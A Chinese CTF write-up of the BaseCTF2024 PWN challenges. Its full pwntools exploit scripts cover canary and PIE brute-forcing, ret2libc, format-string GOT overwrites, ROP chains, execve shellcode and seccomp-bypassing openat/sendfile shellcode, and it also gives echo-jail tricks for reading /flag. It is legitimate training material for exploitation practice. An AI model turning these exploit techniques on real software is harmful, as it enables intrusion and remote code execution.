BaseCTF2024新生赛-PWN方向做题笔记 复现平台:BaseCTF2024新生赛 - GZ::CTF
签个到吧 解题思路 nc连接即可getshell
没有 canary 我要死了! 解题思路 程序保护机制全开,用ida逆向分析后可知程序存在以当前时间为随机数种子的伪随机数验证和一个创建子进程的循环,且存在后门函数shell() 。
由于创建了子进程,我们就可以在子进程进行Canary和PIE的爆破,因为当我们将Canary错误修改后,程序会退出当前进程(子进程),回到父进程,而不会直接结束程序运行,这就允许我们重复尝试(PIE同理)
(PS:我的脚本就是跑不出来,照着WP改都不行qwq)
EXP 我的脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 from pwn import *from ctypes import cdllcontext(os="linux" , arch="amd64" , log_level="info" ) io = process('./canary' ) s = lambda data :io.send(data) sa = lambda delim,data :io.sendafter(delim, data) sl = lambda data :io.sendline(data) sla = lambda delim,data :io.sendlineafter(delim, data) r = lambda num :io.recv(num) rl = lambda :io.recvline() ru = lambda delims, drop=True :io.recvuntil(delims, drop) ia = lambda :io.interactive() ls = lambda data :log.success(data) p = lambda :pause() libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6" ) seed = libc.time(0 ) libc.srand(seed) canary = b'\x00' for _ in range (7 ): for i in range (256 ): a = libc.rand() % 50 sla(b'BaseCTF' , str (a).encode()) pad = b'\x00' *(0x68 ) + canary + p8(i) s(pad) ru("welcome\n" ) ret = rl() if b'smashing' not in ret: canary += p8(i) print (hex (u64(canary.ljust(8 , b'\x00' )))) break shell = 0x02B1 while (1 ): for i in range (16 ): a = libc.rand() % 50 sla(b'BaseCTF' , str (a).encode()) pad = b'\x00' *(0x68 ) + canary + b'a' *8 + p16(shell) s(pad) ret = rl() if b'welcome' in ret: rl() shell += 0x1000 continue else : break ia()
官方解题脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 from pwn import *from ctypes import *r = process("./pwn" ) def dbg (): gdb.attach(r) libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6' ) seed = libc.time(0 ) libc.srand(seed) canary = b'\x00' for i in range (7 ): for a in range (256 ): num = libc.rand() % 50 r.sendlineafter(b'BaseCTF' ,str (num)) p = b'a' * 0x68 + canary + p8(a) r.send(p) r.recvuntil('welcome\n' ) rec = r.readline() if b'smashing' not in rec: print (f"No.{i + 1 } byte is {hex (a)} " ) canary += p8(a) break print (f"canary is {hex (u64(canary))} " )shell = 0x02B1 while (1 ): for i in range (16 ): num = libc.rand() % 50 r.sendline(str (num)) p = b'A' * 0x68 + canary + b'A' * 0x8 + p16(shell) r.send(p) rec = r.readline() print (rec) if b'welcome' in rec: r.readline() shell += 0x1000 continue else : break r.interactive()
Ret2text 解题思路 常规ret2text
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 from pwn import *context(os='linux' , arch='amd64' , log_level='debug' ) io = process("./Ret2text" ) s = lambda data :io.send(data) sa = lambda delim,data :io.sendafter(delim, data) sl = lambda data :io.sendline(data) sla = lambda delim,data :io.sendlineafter(delim, data) r = lambda num :io.recv(num) rl = lambda :io.recvline() ru = lambda delims, drop=True :io.recvuntil(delims, drop) ia = lambda :io.interactive() ls = lambda data :log.success(data) p = lambda :pause() def debug (): gdb.attach(io) pause() shell = 0x4011BB payload = b'\x00' *(0x28 ) + p64(shell) s(payload) ia()
PIE 解题思路 这道题考了ret2libc + PIE保护,关键在于如何二次执行main(),我们可以利用第一次栈溢出泄露出一个地址,但是想要重新执行main(),来getshell,却有些无从下手。我们知道,main()执行完后,程序会返回__libc_start_call_main,所以main()的栈上的返回地址的值是<__libc_start_call_main+128>,在gdb的调试中 这个地址为0x7ffff7c29d90,我们可以通过栈溢出覆盖地址的低字节,比如 将\x90改为\x00->\xff之间的任意值,而每一个最低字节的修改,都是一个地址 ,也就是说 我们可以跳转0x7ffff7c29d00->0x7ffff7c29dff之间任何一个地址,当然如果修改低两位字节,也可以跳转更多地址。
(个人废话:初学时也曾感慨为什么大家会这么想,想到这种巧妙的方法,其实只是因为我们拿不到其他地方的正确地址,无法跳转,只能依据现有的条件,去在有限的范围内寻找突破口 ,当然这是句废话,所有pwn题都是这样的~~~)
我们通过
可以看到当中有一段magic gadget作用是将[rsp + 0x8] 指向的地址存入rax再call rax
1 2 0x7ffff7c29d89 <__libc_start_call_main+121>: mov rax,QWORD PTR [rsp+0x8] 0x7ffff7c29d8e <__libc_start_call_main+126>: call rax
而当我们刚刚结束main(),在ret到返回地址的时候会发现[rsp + 8] == *(rsp + 8) == 0x5555555551ee == main
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 0x555555555234 <main+70> mov eax, 0 EAX => 0 0x555555555239 <main+75> call printf@plt <printf@plt> 0x55555555523e <main+80> mov eax, 0 EAX => 0 0x555555555243 <main+85> leave 0x555555555244 <main+86> ret <__libc_start_call_main+128> ↓ ► 0x7ffff7c29d90 <__libc_start_call_main+128> mov edi, eax EDI => 0 0x7ffff7c29d92 <__libc_start_call_main+130> call exit <exit> 0x7ffff7c29d97 <__libc_start_call_main+135> call __nptl_deallocate_tsd <__nptl_deallocate_tsd> 0x7ffff7c29d9c <__libc_start_call_main+140> lock dec dword ptr [rip + 0x1f0505] 0x7ffff7c29da3 <__libc_start_call_main+147> sete al 0x7ffff7c29da6 <__libc_start_call_main+150> test al, al ─────────────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────────── 00:0000│ rsp 0x7fffffffdce0 ◂— 0 # 02:0010│ 0x7fffffffdcf0 ◂— 0x1ffffddd0 03:0018│ 0x7fffffffdcf8 —▸ 0x7fffffffdde8 —▸ 0x7fffffffe189 ◂— 0x63692f656d6f682f ('/home/ic') 04:0020│ 0x7fffffffdd00 ◂— 0 05:0028│ 0x7fffffffdd08 ◂— 0x5c87a33224748b86 06:0030│ 0x7fffffffdd10 —▸ 0x7fffffffdde8 —▸ 0x7fffffffe189 ◂— 0x63692f656d6f682f ('/home/ic') 07:0038│ 0x7fffffffdd18 —▸ 0x5555555551ee (main) ◂— endbr64
所以我们可以覆盖main()的返回地址的最低一位为\x89,从而利用这段magic gadget重启main(),然后就是正常的ret2libc的后续了。
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 from pwn import *context(os="linux" , arch="amd64" , log_level="debug" ) io = remote("gz.imxbt.cn" , 20006 ) libc = ELF("libc.so.6" ) elf = ELF("./vuln" ) s = lambda data :io.send(data) sa = lambda delim,data :io.sendafter(delim, data) sl = lambda data :io.sendline(data) sla = lambda delim,data :io.sendlineafter(delim, data) r = lambda num :io.recv(num) rl = lambda :io.recvline() ru = lambda delims, drop=True :io.recvuntil(delims, drop) ia = lambda :io.interactive() ls = lambda data :log.success(data) p = lambda :pause() payload = b'a' *(0x107 ) + b'b' + b'\x89' s(payload) ru(b'b' ) addr = u64(r(6 ).ljust(8 , b'\x00' )) libc_base = addr - 0x29d89 print (hex (libc_base))libc.address = libc_base pop_rdi = next (libc.search(asm("pop rdi; ret;" ))) bin_sh = next (libc.search(b"/bin/sh\x00" )) system = libc.sym["system" ] pad = b'a' *(0x108 ) + p64(pop_rdi + 1 ) + p64(pop_rdi) + p64(bin_sh) + p64(system) s(pad) ia()
echo 解题思路 禁用了许多命令,但题目提示可以使用 echo
可以内联命令echo $(</flag)(命令替换读文件内容);
可以重定向 + 管道绕过,echo </flag;
Bash 报错泄露,< /flag或. /flag
解题思路 程序打开了flag文件,并将flag的值读入到栈上,又存在格式化字符串漏洞,可以是%s来读取字符串,但我们需要通过gab调试,才能知道flag是栈上的第8个参数
(%s的作用是从一个地址里读数据读到printf函数的缓冲区里 读到\x00(终止符)结束)
可以调试到我们读入结束的位置
结果
解题思路 附件存在格式化字符串漏洞,以及一个可以读并打印flag的函数 readflag(),只要修改target为1即可进入 readflag()
利用 %n,将输出的字符数写入目标地址里即可,%?c是输出多少字符,?表示要输出的字符数。
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 from pwn import *import ctypescontext(os='linux' , arch='amd64' , log_level='debug' ) io = remote("gz.imxbt.cn" , 20041 ) s = lambda data :io.send(data) sa = lambda delim,data :io.sendafter(delim, data) sl = lambda data :io.sendline(data) sla = lambda delim,data :io.sendlineafter(delim, data) r = lambda num :io.recv(num) rl = lambda :io.recvline() ru = lambda delims, drop=True :io.recvuntil(delims, drop) ia = lambda :io.interactive() ls = lambda data :log.success(data) p = lambda :pause() def debug (): gdb.attach(io) pause() target = 0x4040B0 payload = fmtstr_payload(6 , {target:1 }) s(payload) ia() ~ "exp.py" 25L , 883B
批注: 一个可能的错误是这么写payload
1 payload = p64(target) + b"%1c%6$n"
这样写是打不通的,因为p64打包地址时会补充\x00,会给printf()截断了
还有一个可能的问题是: 为什么在 %7$n 后面加了 a
1 payload = b"%1c%7$na" + p64(target)
这里是为了补全第6个参数,使得%1c%7$na一共有8字节,好让后面的target完整的成为第 7 个参数
解题思路 将printf_got输入到栈上,利用%s来泄露它,就能得到libc_base(libc的基址),附件的GOT表可改,可以向ptintf_got里写入system的函数地址,再通过read()读入/bin/sh,就会存进rdi,给printf使用(此时已被我们改为system)即可。
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 from pwn import *import ctypescontext(os='linux' , arch='amd64' , log_level='debug' ) io = remote("gz.imxbt.cn" , 20067 ) s = lambda data :io.send(data) sa = lambda delim,data :io.sendafter(delim, data) sl = lambda data :io.sendline(data) sla = lambda delim,data :io.sendlineafter(delim, data) r = lambda num :io.recv(num) rl = lambda :io.recvline() ru = lambda delims, drop=True :io.recvuntil(delims, drop) ia = lambda :io.interactive() ls = lambda data :log.success(data) p = lambda :pause() def debug (): gdb.attach(io) pause() elf = ELF("./format" ) libc = ELF("/lib/x86_64-linux-gnu/libc.so.6" ) printf_got = elf.got['printf' ] payload = b'%7$saaaa' + p64(printf_got) s(payload) printf_addr = u64(r(6 ).ljust(8 , b'\x00' )) ls(hex (printf_addr)) libc_base = printf_addr - libc.sym['printf' ] ls(hex (libc_base)) system = libc_base + libc.sym['system' ] payload = (f"%{str (system & 0xff )} c%11$hhn" ).encode() payload += (f"%{(str (((system >> 8 ) & 0xff ) + (0x100 - (system & 0xff ))))} c%12$hhn" ).encode() payload += (f"%{(str (((system >> 16 ) & 0xff ) + (0x100 - (system >> 8 ) & 0xff )))} c%13$hhn" ).encode() payload = payload.ljust(40 , b'a' ) payload += p64(printf_got) payload += p64(printf_got+1 ) payload += p64(printf_got+2 ) s(payload) time.sleep(0.3 ) s(b"/bin/sh" ) ia()
批注: 这一步需要(0x100 - (system & 0xff))的原因,是为了与前面的(system & 0xff)之和为0x100,从来发生回环
1 payload += (f"%{(str (((system >> 8 ) & 0xff ) + (0x100 - (system & 0xff ))))} c%12$hhn" ).encode()
比如 :假设前面的输出已有0x98,后面又需写入0x30,因为%hhn每次会写入一字节(一字节的范围:0x00~0xff),所以先加上(0x100 - 0x98)使得最终会输出0x130,%hhn就会写入0x30。
简记就是:
每次 %hhn 写入都要让 “累积字符数 % 256 == 目标字节值”
而至于 (system >> 8)表示的含义则是把 system 地址右移 8 位【8 位(bit)是 1 字节(byte)】,用于取出第 1 字节;& 0xff 则是限定只取 1 字节。
解题思路 只有一次fmt,可以劫持fini_array ,将其修改为main()的地址,重复执行;或者利用程序打开了Canary保护机制的特点,修改_stack_chk_fail()的GOT表里的值为main()的地址,每次故意触发Canary保护,也可以重复执行main()
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 from pwn import *import ctypescontext(os='linux' , arch='amd64' , log_level='debug' ) io = remote("gz.imxbt.cn" , 20074 ) s = lambda data :io.send(data) sa = lambda delim,data :io.sendafter(delim, data) sl = lambda data :io.sendline(data) sla = lambda delim,data :io.sendlineafter(delim, data) r = lambda num :io.recv(num) rl = lambda :io.recvline() ru = lambda delims, drop=True :io.recvuntil(delims, drop) ia = lambda :io.interactive() ls = lambda data :log.success(data) p = lambda :pause() def debug (): gdb.attach(io) pause() elf = ELF("./vuln" ) libc = ELF("/lib/x86_64-linux-gnu/libc.so.6" ) stack = 0x403320 main = 0x40121B printf_got = elf.got['printf' ] payload = fmtstr_payload(6 , {stack:main}) payload = payload.ljust(0x110 , b'a' ) ru(b"-----\n" ) s(payload) payload = b'%7$saaaa' + p64(printf_got) ru(b"-----\n" ) payload = payload.ljust(0x110 , b'a' ) s(payload) printf_addr = u64(r(6 ).ljust(8 , b'\x00' )) ls(hex (printf_addr)) libc_base = printf_addr - libc.sym['printf' ] ls(hex (libc_base)) system = libc_base + libc.sym['system' ] payload = (f"%{str (system & 0xff )} c%11$hhn" ).encode() payload += (f"%{(str (((system >> 8 ) & 0xff ) + (0x100 - (system & 0xff ))))} c%12$hhn" ).encode() payload += (f"%{(str (((system >> 16 ) & 0xff ) + (0x100 - (system >> 8 ) & 0xff )))} c%13$hhn" ).encode() payload = payload.ljust(40 , b'a' ) payload += p64(printf_got) payload += p64(printf_got+1 ) payload += p64(printf_got+2 ) payload = payload.ljust(0x110 , b'a' ) time.sleep(0.3 ) s(payload) s(b"/bin/sh" ) ia()
ezstack 解题思路 题目给了一个特殊的gadget(add [rbp-3Dh], ebx),有了这个gadget就可以任意地址写 ,可以修改GOT表里的值,使得调用setvbuf变成调用system,题目里并没有可以泄露函数地址的地方,不能直接用system的地址完全代替setvbuf的地址,但可以在setvbuf地址的基础上加上system - setvbuf两者地址的偏移,来实现GOT表篡改,而在__libc_csu_init里可以修改rbp和 ebx的值。
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 from pwn import *context(os='linux' , arch='amd64' , log_level='debug' ) io = remote("gz.imxbt.cn" , 20217 ) s = lambda data :io.send(data) sa = lambda delim,data :io.sendafter(delim, data) sl = lambda data :io.sendline(data) sla = lambda delim,data :io.sendlineafter(delim, data) r = lambda num :io.recv(num) rl = lambda :io.recvline() ru = lambda delims, drop=True :io.recvuntil(delims, drop) ia = lambda :io.interactive() ls = lambda data :log.success(data) p = lambda :pause() def debug (): gdb.attach(io) pause() elf = ELF("./pwn" ) libc = ELF("/lib/x86_64-linux-gnu/libc.so.6" ) pop_rdi = 0x4006f3 add = 0x400658 csu = 0x4006EA gets = elf.plt['gets' ] setvbuf_got = elf.got['setvbuf' ] setvbuf_plt = elf.plt['setvbuf' ] system = libc.sym['system' ] setvbuf = libc.sym['setvbuf' ] delta = (system - setvbuf) & 0xffffffffffffffff print (hex (system - setvbuf))bss = 0x601081 print (hex (delta))payload = p64(0 )*2 + p64(csu) + p64(delta) + p64(setvbuf_got + 0x3D ) + p64(0 )*4 + p64(add) + p64(pop_rdi) + p64(bss) + p64(gets) + p64(pop_rdi) + p64(bss) + p64(setvbuf_plt) sl(payload) sl(b"/bin//sh" ) ia()
批注: 将 两者之间的差值做 按位与运算 是为了将负数转换为无符号补码,因为p64(负数) 是 非法的,因为 Python 不允许打包负数为无符号字节(会报错)
1 delta = (system - setvbuf) & 0xffffffffffffffff
将差值delta转为补码表示,无论delta为正还是为负,都可以成功表示
我把她丢了 解题思路 附件给了system()和字符串/bin/sh,只需要组合一下,将/bin/sh的地址存进rdi寄存器后,再调用system()即可
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 from pwn import *context(os='linux' , arch='amd64' , log_level='debug' ) io = remote("gz.imxbt.cn" , 20091 ) s = lambda data :io.send(data) sa = lambda delim,data :io.sendafter(delim, data) sl = lambda data :io.sendline(data) sla = lambda delim,data :io.sendlineafter(delim, data) r = lambda num :io.recv(num) rl = lambda :io.recvline() ru = lambda delims, drop=True :io.recvuntil(delims, drop) ia = lambda :io.interactive() ls = lambda data :log.success(data) p = lambda :pause() def debug (): gdb.attach(io) pause() elf = ELF("./vuln" ) pop_rdi = 0x401196 bin_sh = 0x402008 shell = 0x40120F pad = b'\x00' *(0x78 ) + p64(pop_rdi) + p64(bin_sh) + p64(shell) rl() s(pad) ia()
彻底失去她 解题思路
个人废话:这题名可真形象,将这个题名与上一个题相比较一下,做题前盲猜是有system()无/bin/sh😁
附件给出了system(),无/bin/sh,利用read()读入/bin/sh到bss段上,再调用/bin/sh的地址即可
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 from pwn import *context(os='linux' , arch='amd64' , log_level='debug' ) io = remote("gz.imxbt.cn" , 20096 ) s = lambda data :io.send(data) sa = lambda delim,data :io.sendafter(delim, data) sl = lambda data :io.sendline(data) sla = lambda delim,data :io.sendlineafter(delim, data) r = lambda num :io.recv(num) rl = lambda :io.recvline() ru = lambda delims, drop=True :io.recvuntil(delims, drop) ia = lambda :io.interactive() ls = lambda data :log.success(data) p = lambda :pause() def debug (): gdb.attach(io) pause() elf = ELF("./vuln" ) pop_rdi = 0x401196 pop_rsi = 0x4011ad pop_rdx = 0x401265 bss = 0x4040A0 read = elf.sym['read' ] system = elf.plt['system' ] pad = b'\x00' *(0x12 ) + p64(pop_rdi) + p64(0 ) + p64(pop_rsi) + p64(bss) + p64(pop_rdx) + p64(0x30 ) + p64(read) + p64(pop_rdi) + p64(bss) + p64(system) ru(b'could you tell me your name?\n' ) sl(pad) sl(b'/bin/sh\x00' ) ia()
她与你皆失 解题思路 无system无/bin/sh,就是常规的re2libc
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 from pwn import *context(os='linux' , arch='amd64' , log_level='debug' ) io = remote("gz.imxbt.cn" , 20098 ) s = lambda data :io.send(data) sa = lambda delim,data :io.sendafter(delim, data) sl = lambda data :io.sendline(data) sla = lambda delim,data :io.sendlineafter(delim, data) r = lambda num :io.recv(num) rl = lambda :io.recvline() ru = lambda delims, drop=True :io.recvuntil(delims, drop) ia = lambda :io.interactive() ls = lambda data :log.success(data) p = lambda :pause() def debug (): gdb.attach(io) pause() elf = ELF("./pwn" ) libc = ELF("libc.so.6" ) pop_rdi = 0x401176 pop_rsi = 0x401178 pop_rdx = 0x401221 puts_got = elf.got['puts' ] puts_plt = elf.plt['puts' ] read = elf.sym['read' ] main = elf.sym['main' ] payload = b'a' *(0x12 ) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main) rl() s(payload) puts_addr = u64(r(6 ).ljust(8 , b'\x00' )) ls(hex (puts_addr)) libc.address = puts_addr - libc.sym['puts' ] ls(hex (libc.address)) system = libc.sym['system' ] bin_sh = next (libc.search(b"/bin/sh\x00" )) pad = b'a' *(0x12 ) + p64(pop_rdi+1 ) + p64(pop_rdi) + p64(bin_sh) + p64(system) rl() s(pad) ia()
gift 解题思路 这是道静态编译的 PWN 题,libc 不再是动态链接的 ,也就是说程序运行时并不会加载常见的动态库。
静态编译下没有 system(),但可以手动 syscall execve,因为静态编译的程序已经包含了执行所需的一切代码,它也不依赖 libc 的 system() 函数,直接系统调用 execve("/bin/sh", NULL, NULL)就好
由于gets()不限制输入长度,可以直接利用ROPgadget生成可以getshell的rop链,生成命令如下:
1 ROPgadget --binary ./gift(这里是附件名称) --ropchain
也可以自己手动构造,但这里需借助几个gadget来将/bin/sh读入到栈上
我这里是使用 mov qword ptr [rsi], rax ; ret,先利用pop rax; ret将字符串/bin/sh存进rax,然后通过pop rsi; ret将bss段上的地址存进rsi,最后借助mov qword ptr [rsi], rax ; ret将 字符串/bin/sh存进bss段上,后续调用即可
1 0x000000000044a5e5 : mov qword ptr [rsi], rax ; ret
EXP 手动构造ropchain
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 from pwn import *context(os='linux' , arch='amd64' , log_level='debug' ) io = remote("gz.imxbt.cn" , 20105 ) s = lambda data :io.send(data) sa = lambda delim,data :io.sendafter(delim, data) sl = lambda data :io.sendline(data) sla = lambda delim,data :io.sendlineafter(delim, data) r = lambda num :io.recv(num) rl = lambda :io.recvline() ru = lambda delims, drop=True :io.recvuntil(delims, drop) ia = lambda :io.interactive() ls = lambda data :log.success(data) p = lambda :pause() def debug (): gdb.attach(io) pause() pop_rdi = 0x401f2f pop_rsi = 0x409f9e pop_rax = 0x419484 pop_rbx = 0x401960 pop_rax_rdx_rbx = 0x47f2ea mov_rsi_rax = 0x44a5e5 bss = 0x4c50e0 syscall = 0x401ce4 ru(b"same\n" ) payload = b'a' *(0x28 ) + p64(pop_rax) + b'/bin//sh' + p64(pop_rsi) + p64(bss) + p64(mov_rsi_rax) + p64(pop_rax_rdx_rbx) + p64(0x3b ) + p64(0 )*2 + p64(pop_rdi) + p64(bss) + p64(pop_rsi) + p64(0 ) + p64(syscall) sl(payload) ia()
ROPgadget自动生成的ropchain
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 rom pwn import * from struct import packcontext(os="linux" , arch="amd64" , log_level="info" ) io = remote("gz.imxbt.cn" , 20105 ) p = b'' p += pack('<Q' , 0x0000000000409f9e ) p += pack('<Q' , 0x00000000004c50e0 ) p += pack('<Q' , 0x0000000000419484 ) p += b'/bin//sh' p += pack('<Q' , 0x000000000044a5e5 ) p += pack('<Q' , 0x0000000000409f9e ) p += pack('<Q' , 0x00000000004c50e8 ) p += pack('<Q' , 0x000000000043d350 ) p += pack('<Q' , 0x000000000044a5e5 ) p += pack('<Q' , 0x0000000000401f2f ) p += pack('<Q' , 0x00000000004c50e0 ) p += pack('<Q' , 0x0000000000409f9e ) p += pack('<Q' , 0x00000000004c50e8 ) p += pack('<Q' , 0x000000000047f2eb ) p += pack('<Q' , 0x00000000004c50e8 ) p += pack('<Q' , 0x4141414141414141 ) p += pack('<Q' , 0x000000000043d350 ) p += pack('<Q' , 0x0000000000471350 ) p += pack('<Q' , 0x0000000000471350 ) p += pack('<Q' , 0x0000000000471350 ) p += pack('<Q' , 0x0000000000471350 ) p += pack('<Q' , 0x0000000000471350 ) p += pack('<Q' , 0x0000000000471350 ) p += pack('<Q' , 0x0000000000471350 ) p += pack('<Q' , 0x0000000000471350 ) p += pack('<Q' , 0x0000000000471350 ) p += pack('<Q' , 0x0000000000471350 ) p += pack('<Q' , 0x0000000000471350 ) p += pack('<Q' , 0x0000000000471350 ) p += pack('<Q' , 0x0000000000471350 ) p += pack('<Q' , 0x0000000000471350 ) p += pack('<Q' , 0x0000000000471350 ) p += pack('<Q' , 0x0000000000471350 ) p += pack('<Q' , 0x0000000000471350 ) p += pack('<Q' , 0x0000000000471350 ) p += pack('<Q' , 0x0000000000471350 ) p += pack('<Q' , 0x0000000000471350 ) p += pack('<Q' , 0x0000000000471350 ) p += pack('<Q' , 0x0000000000471350 ) p += pack('<Q' , 0x0000000000471350 ) p += pack('<Q' , 0x0000000000471350 ) p += pack('<Q' , 0x0000000000471350 ) p += pack('<Q' , 0x0000000000471350 ) p += pack('<Q' , 0x0000000000471350 ) p += pack('<Q' , 0x0000000000471350 ) p += pack('<Q' , 0x0000000000471350 ) p += pack('<Q' , 0x0000000000471350 ) p += pack('<Q' , 0x0000000000471350 ) p += pack('<Q' , 0x0000000000471350 ) p += pack('<Q' , 0x0000000000471350 ) p += pack('<Q' , 0x0000000000471350 ) p += pack('<Q' , 0x0000000000471350 ) p += pack('<Q' , 0x0000000000471350 ) p += pack('<Q' , 0x0000000000471350 ) p += pack('<Q' , 0x0000000000471350 ) p += pack('<Q' , 0x0000000000471350 ) p += pack('<Q' , 0x0000000000471350 ) p += pack('<Q' , 0x0000000000471350 ) p += pack('<Q' , 0x0000000000471350 ) p += pack('<Q' , 0x0000000000471350 ) p += pack('<Q' , 0x0000000000471350 ) p += pack('<Q' , 0x0000000000471350 ) p += pack('<Q' , 0x0000000000471350 ) p += pack('<Q' , 0x0000000000471350 ) p += pack('<Q' , 0x0000000000471350 ) p += pack('<Q' , 0x0000000000471350 ) p += pack('<Q' , 0x0000000000471350 ) p += pack('<Q' , 0x0000000000471350 ) p += pack('<Q' , 0x0000000000471350 ) p += pack('<Q' , 0x0000000000471350 ) p += pack('<Q' , 0x0000000000471350 ) p += pack('<Q' , 0x0000000000471350 ) p += pack('<Q' , 0x0000000000471350 ) p += pack('<Q' , 0x0000000000471350 ) p += pack('<Q' , 0x0000000000471350 ) p += pack('<Q' , 0x0000000000471350 ) p += pack('<Q' , 0x0000000000401ce4 ) pad = b'a' *(0x28 ) + p io.recvline() io.sendline(pad) io.interactive()
orz! 解题思路 题目会接收用户输入并执行,但开启了sandbox(),禁用了open、read、write、execve这四个函数,就是变种ORW
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 ╭─icyice@icyice-virtual-machine ~/Desktop/BaseCTF2024新生赛/orz! ╰─$ seccomp-tools dump ./orz Enter your shellcode: line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x08 0xc000003e if (A != ARCH_X86_64) goto 0010 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005 0004: 0x15 0x00 0x05 0xffffffff if (A != 0xffffffff) goto 0010 0005: 0x15 0x04 0x00 0x00000000 if (A == read) goto 0010 0006: 0x15 0x03 0x00 0x00000001 if (A == write) goto 0010 0007: 0x15 0x02 0x00 0x00000002 if (A == open) goto 0010 0008: 0x15 0x01 0x00 0x0000003b if (A == execve) goto 0010 0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0010: 0x06 0x00 0x00 0x00000000 return KILL
open可以用 fopen、creat、openat、fopen64、open64、freopen来代替
read可以用 pread、readv、preadv、mmap 来代替
write可以用 pwrite64、writev 来代替
我这里是用openat来代替open,sendfile来代替 read和write 读取flag
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 from pwn import *context(os='linux' , arch='amd64' , log_level='debug' ) io = remote("gz.imxbt.cn" , 20108 ) s = lambda data :io.send(data) sa = lambda delim,data :io.sendafter(delim, data) sl = lambda data :io.sendline(data) sla = lambda delim,data :io.sendlineafter(delim, data) r = lambda num :io.recv(num) rl = lambda :io.recvline() ru = lambda delims, drop=True :io.recvuntil(delims, drop) ia = lambda :io.interactive() ls = lambda data :log.success(data) p = lambda :pause() def debug (): gdb.attach(io) pause() elf = ELF("./orz" ) shellcode = ''' push 0x67616c66 mov rsi,rsp xor rdx,rdx mov rdi,0xffffff9c push 257 pop rax syscall mov rsi,3; #in_fd mov r10,50; #n_bytes xor rdx,rdx; mov rdi,rdx; inc rdi; #out_fd mov eax,40; #sendfile的系统调用号 syscall; mov rdi,0; mov rax,60; #exit syscall ''' payload = asm(shellcode) s(payload) ia()
批注:以下是对shellcode的详细理解 打开文件(openat 系统调用) 1 2 3 4 5 6 7 push 0x67616c66 ; 将字符串 "flag" (小端字节序)压栈 mov rsi, rsp ; rsi 指向文件名 "flag" xor rdx, rdx ; rdx = 0 ,即 O_RDONLY mov rdi, 0xffffff9c ; rdi = -100 ,对应 AT_FDCWD(当前工作目录) push 257 pop rax ; rax = 257 ,对应 openat 的 syscall 编号 syscall
等价于
1 int fd = openat(AT_FDCWD, "flag" , O_RDONLY);
打开后,返回的文件描述符存放在 rax 中,默认是 3(因为前两个 0、1、2 是 stdin、stdout、stderr)。
使用 sendfile 输出文件内容到 stdout(fd = 1) 1 2 3 4 5 6 7 mov rsi, 3 ; rsi = in_fd(flag 文件的 fd) mov r10, 50 ; r10 = count(最多读 50 字节) xor rdx, rdx ; rdx = *offset(为 NULL) mov rdi, rdx ; rdi = 0 inc rdi ; rdi = 1 (即 stdout) mov eax, 40 ; eax = 40 (sendfile 的 syscall 编号) syscall
使用 sendfile 系统调用将最多 50 字节从 fd=3(flag)发送到 fd=1(stdout),等价于:
1 sendfile(1 , 3 , NULL , 50 );
其中 r10 在 syscall 中会被视为第四参数 count,符合 x86_64 调用约定(第四个参数传入 r10)
退出程序(exit 系统调用) 1 2 3 mov rdi, 0 ; 退出码 0 mov rax, 60 ; exit 的 syscall 编号 syscall
正常退出程序:
shellcode_level0 解题思路 简单的shellcode,输入进去就好了,可以使用 shellcraft.sh() 自动生成
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 from pwn import *context(os="linux" , arch="amd64" , log_level="debug" ) io = remote("gz.imxbt.cn" , 20110 ) shellcode = """ xor rsi,rsi push rsi mov rdx,rsp mov rdi,0x68732f2f6e69622f push rdi mov rdi,rsp mov rax,59 syscall """ pad = asm(shellcode) io.sendline(pad) io.interactive()
